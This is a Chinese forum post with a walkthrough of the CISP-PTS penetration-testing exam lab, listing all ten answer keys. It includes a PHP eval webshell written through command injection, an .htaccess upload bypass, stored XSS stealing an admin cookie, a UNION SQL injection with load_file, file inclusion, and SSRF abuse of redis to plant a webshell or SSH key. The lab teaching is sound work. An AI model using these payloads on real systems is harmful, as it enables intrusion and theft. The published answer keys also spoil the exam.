用户
搜索
  • TA的每日心情
    慵懒
    昨天 12:25
  • 签到天数: 230 天

    连续签到: 4 天

    [LV.7]常住居民III

    i春秋-见习白帽

    Rank: 3Rank: 3

    3

    主题

    13

    帖子

    5246

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2021-3-31
    发表于 2021-12-28 14:51:36 02521
    本帖最后由 我是二水兄 于 2021-12-29 11:48 编辑

    作者:zngeek(蓝极战队bluegeek)

    from:zngeek - by:左宁の手

    mail:zngeek@pm.me


    0X00 前言:请认真阅读
    本篇文章为国测中心认证的渗透专家考题全解,以真实的考试环境及操作机为例,并且详细讲解各种答题技巧及注意事项,如果你详细阅读理解了该文章,考PTS将手到擒来!!![手动狗头.jpg]




    靶机数量:6(基础题4,综合题2)

    总分:100(基础题40,综合题60)

    KEY数:10(基础题4,综合题6)




    每个KEY为10分,基础题每个靶机1个KEY,综合题每个靶机3个KEY




    考试整体难度:★★★☆☆ 3星




    PTS考试考场会提供两台操作机,分别是WIN7和kali,操作机不能进行任何上传下载操作,所以并不能使用操作机以外的任何文件。





    本文使用的任何工具、字典及文件等等均是考试操作机上自带。




    0X01 基础题目之信息泄露








    用御剑目录扫描工具,探测出存在www.rar的压缩文件





    下载解压后发现一个info的文本文件,里面内容如下:





    vi编辑非正常退出会有swp临时缓存文件,所以直接访问http://靶机/config.inc.swp下载该缓存文件,打开后成功找到了KEY





    KEY为:PLwDPzFp




    0X01 基础题目之命令执行








    该题目我以前写过一篇文章详细分析过,这里使用考试时的操作机再详解一遍




    访问vul.php,直接返回了以下页面,是需要我们来审计这段代码从而找出可以利用的地方

    代码如下:





    为了方便大家理解,首先给每行代码每一行写上注释

    如下图:





    从注释的代码,我们可以逐步分析该代码块的业务逻辑




    1、定义一个文件夹路径的变量

    2、创建该文件夹

    3、切换到该文件夹工作

    4、判断GET方式接收的参数cmd不为空且长度不大于30,就执行该cmd命令

    5、判断GET方式接收的参数reset不等于空,则删除创建的文件夹以及里面所有的内容

    6、高亮显示当前php文件的所有代码

    7、打印输出访问者的ip




    这里显而易见,我们只要get提交cmd参数到vul.php页面,且参数长度不大于30,就会执行我们提交的命令。




    首先我们需要计算出我们文件夹的路径

    知道了文件夹的路径为“/usr/local/apache2/htdocs/sandbox/加上MD5加密的cisp-pts+本机IP地址”

    后面的MD5值加密的文件夹名可以直接计算出来,但是考试环境是不通外网的,所以,不能通过在线MD5等等web计算,可以通过操作机上编码工具MD5编码





    最终我们得到要创建文件夹的路径为/usr/local/apache2/htdocs/sandbox/a9e8722136b72c6508d9cdb7df352ddc

    直接写一个一句话木马

    http://靶机/vul.php?cmd=echo+'<?php+eval($_POST['1'])?>'>1.php

    但是我们的cmd参数长度明显超过了30,所以代码并不会执行我们的命令

    这里可以通过追加文件的方式,分两次写入

    第一次:





    第二次:





    注意:第二次追加数据应该是>>两个符号

    这样我们就在1.php文件里面写入了我们完整的一句话木马“<?php eval($_POST['1'])?>”




    用菜刀连接http://靶机/sandbox/a9e8722136b72c6508d9cdb7df352ddc/1.php

    密码为1

    成功连接上webshell

    并且在web的根目录下找到了KEY









    KEY为:DWAOdLQk




    0X02 基础题目之文件上传突破








    经过测试,得出结论,该上传过滤仅仅只是判断后缀名,不会判断文件类型等等,只要包含'.p','.ph','.php'的后缀名,均无法上传





    这里常规的绕过方法肯定是不行的,经测试,其他很多后缀名靶机是不过滤的,比如说htaccess[手工狗头.jpg]

    这里可以通过上传.htaccess文件让php解析我们指定后缀名的文件

    .htaccess文件内容如下,意思是将文件zngeek.zn当作php5来进行解析





    上传.htaccess文件以及我们的一句话木马zngeek.zn









    连接http://靶机/up/zngeek.zn ,密码1

    在web根目录下找到了key





    KEY为:uAMeHui4

    0X03 基础题目之流量分析








    通过提示下载流量包,导入到wireshark开始分析





    首先过滤一下,仅看http的包,在这里发现了一个很可疑的包





    继续往下看,发现是一个压缩文件





    将字节流全部导出成压缩文件,发现需要解压密码





    继续往上分析,追踪一下字节流,成功的找到了密码





    密码为Adm1n%21,URL解码%21是!,所以解压密码为Adm1n!





    在web目录下成功找到了KEY





    KEY为:4tEm21x5




    0X04 综合大题(一)




    这道题有3个KEY,分别要使用到XSS攻击,SQL联合注入,以及文件包含漏洞




    经过测试,发现页面post.php存在存储型xss,这里可以直接写一个反弹cookie的xss将管理员的cookie反弹回来





    在本地开启nc,监听端口9115,成功的返回了cookie





    修改cookie为返回的cookie,成功进入管理后台,并且找到了KEY1=GzyD4X2J





    在edit.php中发现了联合注入漏洞,直接get提交payload

    id=123123/**/UniOn/**/SelEct/**/1,2,load_file(%22/var/key2%22),4#

    将/var/key2文件中的key读出来,KEY2=wE58i4Z8





    在setting.php中发现了文件包含漏洞





    直接get提交payload

    page=/tmp/key3

    将/tmp/key3文件中的key读出来,KEY3=HSIC3uM7





    至此,该综合题三个KEY全部找到,分别为KEY1=GzyD4X2J,KEY2=wE58i4Z8,KEY3=HSIC3uM7




    0X05 综合大题(二)




    本题有3个KEY,分别使用了SSRF攻击以及redis的利用




    如果直接使用http://127.0.0.1/会发现被waf拦截





    改成localhost后,成功绕过waf,并且在robots.txt文件中发现了一个backup.zip的文件





    直接下载这个zip文件后,发现里面有一个note.txt,内容如下:





    在提示中,直接SSRF 5562端口,可以得到第一个KEY=F5Qyixeq





    根据第二个提示直接访问靶机IP加6738端口是无法连接上redis的





    这里需要继续使用SSRF来操作redis

    可以有很多种方式,这里演示两种方式,第一种写webshell,第二种写公钥连接ssh

    通过SSRF逐条执行以下命令通过redis写webshell









    写入成功后,直接连接webshell

    http://靶机/a.php 密码为1

    在web根目录下找到KEY2=01aLzgmZ





    在计划任务中,可以找到KEY3=a2V5MzpWTDJvVllYMg==





    base64解码得到KEY3=VL2oVYX2




    下面再说一下redis写公钥连接ssh的方法

    首先生成公钥和私钥





    同样使用SSRF逐行写入如下命令,公钥是我们刚刚生成的公钥









    然后直接ssh带上我们的私钥访问,成功连接上ssh

    KEY的位置同上





    当然通过写计划任务反弹shell这些方式都可以,本题主要是通过SSRF对redis的利用

    至此,该综合题的三个KEY全部找到,分别为KEY1=F5Qyixeq,KEY2=01aLzgmZ,KEY3=VL2oVYX2












    恭喜你,到这一步,你已经得到了10个KEY,也就是获得了满分100分。









    0X06 注意事项(不定期更新)
    0x061 认真核对key
    操作机是通过网页远程访问的,并且操作机是不能连接广域网的,所以不能传输任何文件,所以我们在操作机上拿到的key要在真机上填写的话,需要手动输入,务必要认真核对key是否输入正确!

    0x062 Ask me
    有任何问题,可以邮件联系作者 [email]zngeek@pm.me[/email] ,或者可以在zngeek论坛留言zngeek.com

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册